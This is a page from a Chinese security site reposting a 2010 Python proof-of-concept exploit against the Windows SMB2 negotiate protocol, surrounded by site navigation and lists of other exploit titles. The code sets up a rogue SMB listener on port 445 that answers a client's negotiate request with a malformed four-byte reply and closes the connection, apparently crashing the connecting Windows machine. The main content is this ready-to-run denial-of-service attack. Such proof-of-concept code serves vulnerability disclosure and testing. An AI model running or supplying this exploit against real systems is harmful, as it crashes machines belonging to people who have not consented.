首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Windows SMB2 negotiate protocol response crash proof of concept exploi
来源:http://h.ackack.net/ 作者:Jelmer 发布时间:2010-05-10  
import socket,sys,time

print "Maliformed negotiate protocol response and quickly closing the connection causes Windows machines supporting SMB2 to crash."
print "Written by Jelmer de Hen"
print "Published at http://h.ackack.net/?p=387"
smb = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
smb.bind(("", 445))
smb.listen(1)
smbconn, addr = smb.accept()
print "[+] "+str(addr)+" is trying to make connection to us over port 445"
while 1:
	new_packet = smbconn.recv(1024)
	print "[+] Waiting for a negotiate request packet"
	if new_packet[8]=="r":
		print "[+] Received the negotiate request packet injecting the 4 bytes now..."
		smbconn.send("\x00\x00\x00\x01")
		break
print "[+] Closing connection... This is part of the exploit"
smbconn.close()
print "[+] Done, if all went good then the box on the other side crashed"


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·AVCON version 4.6.8.7 local bu
·Alibaba Clone Version <= 3.0 (
·OpenX banner-edit.php File Upl
·phpscripte24 Shop System SQL I
·JBoss Java Class DeploymentFil
·TFTPGUI v1.4.5 Long Transport
·AgentX++ Master AgentX::receiv
·ESET Smart Security 4.2 / NOD3
·Microsoft Paint Integer Overfl
·AVCON H323Call Buffer Overflow
·BaoFeng Storm M3U File Process
·GeoHttpServer Remote DoS Vulne
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved